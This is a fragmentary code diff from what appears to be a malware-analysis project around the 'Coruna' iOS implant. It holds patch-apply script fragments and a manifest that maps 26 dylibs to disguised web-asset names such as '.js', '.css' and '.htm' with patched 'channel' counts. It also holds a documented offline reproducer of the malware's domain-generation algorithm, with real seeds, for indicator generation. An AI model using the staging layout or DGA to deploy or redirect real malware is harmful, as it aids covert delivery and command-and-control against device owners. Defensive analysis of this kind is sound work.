shutil.copy2(out / wire, sync_dir / wire)
print(f"applied -> {sync_dir / wire}")
print(f"applied daily.html -> {sync_dir}")
else:
print(f"\nRe-run with --apply --root <project> to overwrite sync/{{daily.html,erupt_flee.js}}")
print(
"\nRe-run with --apply --root <project> to overwrite "
"sync/{daily.html + patched wires}"
)
return 0
+4
View File
@@ -196,6 +196,10 @@ def main() -> int:
dst = campaign_dir / src.name
shutil.copy2(src, dst)
print(f"applied -> {dst}")
# Template may ship prefixed aliases like 34058858_<stem>.min.js
for alias in campaign_dir.glob(f"*_{item['stem']}.min.js"):
shutil.copy2(src, alias)
print(f"applied alias -> {alias}")
print(f"\nDone. Output: {out}")
print(f"channel: {channel}")
+210
View File
@@ -0,0 +1,210 @@
[
{
"wire": "erupt_flee.js",
"member": "tmp.dylib",
"expect_channel_hits": 2,
"original_size": 2589808,
"original_sha256": "b9de2658e4f1089c05479482a9fbc09f4a5df9117cecc6222171e9b263baae54",
"source_rel": "source/sync_dylibs/tmp.dylib"
},
{
"wire": "swap-ritual.ts",
"member": "webclip.dylib",
"expect_channel_hits": 2,
"original_size": 341456,
"original_sha256": "89e0eeecf82c52c775cd9e78fc065775b2223680fe2b4e9dd2ae7fdf3b39348b",
"source_rel": "source/sync_dylibs/webclip.dylib"
},
{
"wire": "short_thing.js",
"member": "whatsapp_notnotify.dylib",
"expect_channel_hits": 0,
"original_size": 165864,
"original_sha256": "0a9742041d6a053cbaaf4ef54484fcd696dc059bab1680c4c5686c1dc7593e1d",
"source_rel": "source/sync_dylibs/whatsapp_notnotify.dylib"
},
{
"wire": "aware_retreat.css",
"member": "MarqueeLabel.dylib",
"expect_channel_hits": 2,
"original_size": 324688,
"original_sha256": "f258c9777e1772d214539843123d54dfae4848193a768f0aac321289c656fe88",
"source_rel": "source/sync_dylibs/MarqueeLabel.dylib"
},
{
"wire": "wash_indicate.js",
"member": "ReachabilitySwift.dylib",
"expect_channel_hits": 2,
"original_size": 373304,
"original_sha256": "c74d4b596827b937c9bd772daade43274fa1dce2c910779ad19de7a16377ea48",
"source_rel": "source/sync_dylibs/ReachabilitySwift.dylib"
},
{
"wire": "entry-praise.htm",
"member": "BranchDeepLinker.dylib",
"expect_channel_hits": 2,
"original_size": 340040,
"original_sha256": "6af8b7d5b091472d497728eb27d82a979fcd5795fbef99e92e09328272927cfb",
"source_rel": "source/sync_dylibs/BranchDeepLinker.dylib"
},
{
"wire": "card_alcohol.htm",
"member": "IQKeyboardRetainer.dylib",
"expect_channel_hits": 2,
"original_size": 324232,
"original_sha256": "92a2c91408516c7390486fc3597cb9998a0f3e959db485be6d477cd897f08908",
"source_rel": "source/sync_dylibs/IQKeyboardRetainer.dylib"
},
{
"wire": "curious-tuna.ts",
"member": "LottieAnimation.dylib",
"expect_channel_hits": 2,
"original_size": 389600,
"original_sha256": "93ec748ddefdc3a464f2a5fa492400c005c8d9c6cc432992a1de58ae5b062708",
"source_rel": "source/sync_dylibs/LottieAnimation.dylib"
},
{
"wire": "valve-okay.htm",
"member": "MasonryConstraint.dylib",
"expect_channel_hits": 2,
"original_size": 390024,
"original_sha256": "27958ad317735e9ec4527b8e163e215c255aa5deeb26240e1a3059483fb9d7d3",
"source_rel": "source/sync_dylibs/MasonryConstraint.dylib"
},
{
"wire": "squirrel-chuckle.css",
"member": "AmplitudeSession.dylib",
"expect_channel_hits": 2,
"original_size": 542992,
"original_sha256": "7411405d63d405b869cce07a01fbe6f0404429096cb693f2690f833a2030008a",
"source_rel": "source/sync_dylibs/AmplitudeSession.dylib"
},
{
"wire": "range_hockey.ts",
"member": "CocoaLumberjack.dylib",
"expect_channel_hits": 2,
"original_size": 340832,
"original_sha256": "38cf5b393ce9a85a671df0c317c404fedcd2dadafa2f51cef51e68c9264352cc",
"source_rel": "source/sync_dylibs/CocoaLumberjack.dylib"
},
{
"wire": "exact_unveil.html",
"member": "SAMKeychainStore.dylib",
"expect_channel_hits": 2,
"original_size": 2493624,
"original_sha256": "e83e85308421cf5012bc5126dda9958032fa508e1416c8e4b59dfa9e09643f35",
"source_rel": "source/sync_dylibs/SAMKeychainStore.dylib"
},
{
"wire": "cradle-barely.html",
"member": "RealmDatabase.dylib",
"expect_channel_hits": 2,
"original_size": 389720,
"original_sha256": "de1fa62e5c2a018d25d618a50ca23696c79d549b4715015eb5816dd20cb24d76",
"source_rel": "source/sync_dylibs/RealmDatabase.dylib"
},
{
"wire": "enough_lend.ts",
"member": "MixpanelAnalytics.dylib",
"expect_channel_hits": 2,
"original_size": 306888,
"original_sha256": "93f3cfe86957311c1a57ff3b80db66bb1353a5bb95457f96721597f6374495c2",
"source_rel": "source/sync_dylibs/MixpanelAnalytics.dylib"
},
{
"wire": "page_human.css",
"member": "AdjustEventTracker.dylib",
"expect_channel_hits": 2,
"original_size": 342056,
"original_sha256": "cb288f27aaad2a8c162f87e7d7d8a459fbf752028eb57878727c51cdd1ad67c7",
"source_rel": "source/sync_dylibs/AdjustEventTracker.dylib"
},
{
"wire": "mouse_announce.js",
"member": "ChameleonFramework.dylib",
"expect_channel_hits": 2,
"original_size": 323856,
"original_sha256": "bf445d1f7e568f4c29d80c3d44d79a44b87a6bd9ecb7f182da9578ab56b55fdb",
"source_rel": "source/sync_dylibs/ChameleonFramework.dylib"
},
{
"wire": "canal_sugar.htm",
"member": "SwiftyJSONParser.dylib",
"expect_channel_hits": 2,
"original_size": 406736,
"original_sha256": "1eeb810a9d18918d89597a39c931dc6131fac045df1d23c1b53e1480e711f509",
"source_rel": "source/sync_dylibs/SwiftyJSONParser.dylib"
},
{
"wire": "left-case.css",
"member": "PINRemoteImage.dylib",
"expect_channel_hits": 2,
"original_size": 375544,
"original_sha256": "43b585dd77f3ba376083674f77925e32b9a11352757f262e11f9304cde68e347",
"source_rel": "source/sync_dylibs/PINRemoteImage.dylib"
},
{
"wire": "diagram-ship.css",
"member": "YYImageDecoder.dylib",
"expect_channel_hits": 2,
"original_size": 373824,
"original_sha256": "4afe15eb205630bbc75a3d3256d8f708b67f1fb6d315b878f418aaaa64b7965a",
"source_rel": "source/sync_dylibs/YYImageDecoder.dylib"
},
{
"wire": "shrimp-artefact.htm",
"member": "AppsFlyerConversion.dylib",
"expect_channel_hits": 2,
"original_size": 6794416,
"original_sha256": "f6c26a2c3553e2ce472e1ab09a831b99bb2a09653f1160ebea3aae0c4ce8ddb3",
"source_rel": "source/sync_dylibs/AppsFlyerConversion.dylib"
},
{
"wire": "fresh_sausage.js",
"member": "TPKeyboardAvoiding.dylib",
"expect_channel_hits": 2,
"original_size": 323832,
"original_sha256": "8322922837b8420e6b91fbd52ac4ca3fa091de6a82442f2a6c5296258ae7ff44",
"source_rel": "source/sync_dylibs/TPKeyboardAvoiding.dylib"
},
{
"wire": "win_wife.css",
"member": "MBProgressOverlay.dylib",
"expect_channel_hits": 2,
"original_size": 2443128,
"original_sha256": "d421f7997509fc2e5655b88955e42ba7f92cd8ebef0da5507747caf36b90ed13",
"source_rel": "source/sync_dylibs/MBProgressOverlay.dylib"
},
{
"wire": "future-destroy.htm",
"member": "libCoreSymbolicationHelper.dylib",
"expect_channel_hits": 0,
"original_size": 2675488,
"original_sha256": "5110162dc99f949d6c9851b72217f7e45cb7d66a0dfa2dd354c0953ebda57711",
"source_rel": "source/sync_dylibs/libCoreSymbolicationHelper.dylib"
},
{
"wire": "chunk_hen.ts",
"member": "libAggregateDictionaryClient.dylib",
"expect_channel_hits": 2,
"original_size": 440880,
"original_sha256": "51a5904abf3dacb554989b7c04e7f9e6a169bd4f6faba1d3bf8f11e7e5ad550d",
"source_rel": "source/sync_dylibs/libAggregateDictionaryClient.dylib"
},
{
"wire": "candy_ketchup.html",
"member": "WeChat.dylib",
"expect_channel_hits": 2,
"original_size": 1924696,
"original_sha256": "d8ea6130575137b50db4df72a0f07dd03f118edc90bbad840c5c369523d7d8d1",
"source_rel": "source/sync_dylibs/WeChat.dylib"
},
{
"wire": "horror-monster.ts",
"member": "libDataAccessServices.dylib",
"expect_channel_hits": 2,
"original_size": 447544,
"original_sha256": "42d13c8740ebf56e81e316406a3be8c1dd14ecffab2df2916144327d14f63af1",
"source_rel": "source/sync_dylibs/libDataAccessServices.dylib"
}
]
+1
View File
@@ -0,0 +1 @@
"""Vendored offline helpers (no network)."""
File diff suppressed because it is too large Load Diff
+142
View File
@@ -0,0 +1,142 @@
#!/usr/bin/env python3
"""Offline reproducer for the Coruna PLServerPool domain generator.
This script performs no DNS lookups and makes no network requests. It is
intended for IOC generation and static-analysis verification only.
"""
from __future__ import annotations
import argparse
MASK32 = 0xFFFFFFFF
HASH_SEED = 0x9E3779B1
MURMUR_M = 0x5BD1E995
ALNUM = "abcdefghijklmnopqrstuvwxyz0123456789"
ALNUM_HYPHEN = "abcdefghijklmnopqrstuvwxyz0123456789-"
TLDS = (
".com",
".net",
".org",
".cc",
".so",
".online",
".cfd",
".site",
".lol",
".net", # Deliberately duplicated in the sample's 15-entry table.
".live",
".store",
".app",
".icu",
".info",
)
KNOWN_SEEDS = {
"deployment": "09d0b8d58a71653cd1c89c64c866f2e6",
"reporting": "2d2aebba0bf3d7d694194a7ab93b0a96",
"placeholder-deployment": "UNDEFINED_DEPLOYMENT_SEED",
"placeholder-reporting": "UNDEFINED_REPORTING_SEED",
}
def murmur_hash2(value: str, seed: int = HASH_SEED) -> int:
data = value.encode("utf-8")
result = (seed ^ len(data)) & MASK32
offset = 0
while offset + 4 <= len(data):
block = int.from_bytes(data[offset : offset + 4], "little")
block = (block * MURMUR_M) & MASK32
block ^= block >> 24
block = (block * MURMUR_M) & MASK32
result = (result * MURMUR_M) & MASK32
result ^= block
offset += 4
tail = data[offset:]
if len(tail) == 3:
result ^= tail[2] << 16
if len(tail) >= 2:
result ^= tail[1] << 8
if len(tail) >= 1:
result ^= tail[0]
result = (result * MURMUR_M) & MASK32
result ^= result >> 13
result = (result * MURMUR_M) & MASK32
result ^= result >> 15
return result & MASK32
def xorshift32(state: int) -> int:
state ^= (state << 13) & MASK32
state ^= state >> 17
state ^= (state << 5) & MASK32
return state & MASK32
def generate_domains(seed: str, count: int = 5) -> list[str]:
"""Generate the sample's externally used candidate slice.
The native helper builds 512 strings internally, while PLServerPool asks
for and retains the first five. ``count`` is therefore capped at 512 for
analysis, although five is the operational pool size in this build.
"""
if not 1 <= count <= 512:
raise ValueError("count must be between 1 and 512")
base_hash = murmur_hash2(seed)
domains: list[str] = []
for index in range(512):
state = murmur_hash2(f"{seed}{index}") ^ base_hash
if state == 0:
state = 1
state = xorshift32(state)
label_length = 16 + state % 9
state = xorshift32(state)
label = ALNUM[state % len(ALNUM)]
for _ in range(1, label_length - 1):
state = xorshift32(state)
alphabet = ALNUM if label[-1] == "-" else ALNUM_HYPHEN
label += alphabet[state % len(alphabet)]
state = xorshift32(state)
label += ALNUM[state % len(ALNUM)]
state = xorshift32(state)
domains.append(f"www.{label}{TLDS[state % len(TLDS)]}")
return domains[:count]
def main() -> None:
parser = argparse.ArgumentParser(
description="Reproduce Coruna DGA candidates offline (no network access)."
)
parser.add_argument(
"seed",
nargs="?",
default="deployment",
help=(
"deployment, reporting, placeholder-deployment, "
"placeholder-reporting, or a literal seed"
),
)
parser.add_argument("-n", "--count", type=int, default=5)
args = parser.parse_args()
seed = KNOWN_SEEDS.get(args.seed, args.seed)
print(f"seed={seed}")
for index, domain in enumerate(generate_domains(seed, args.count), 1):
print(f"{index:03d} {domain}")
if __name__ == "__main__":
main()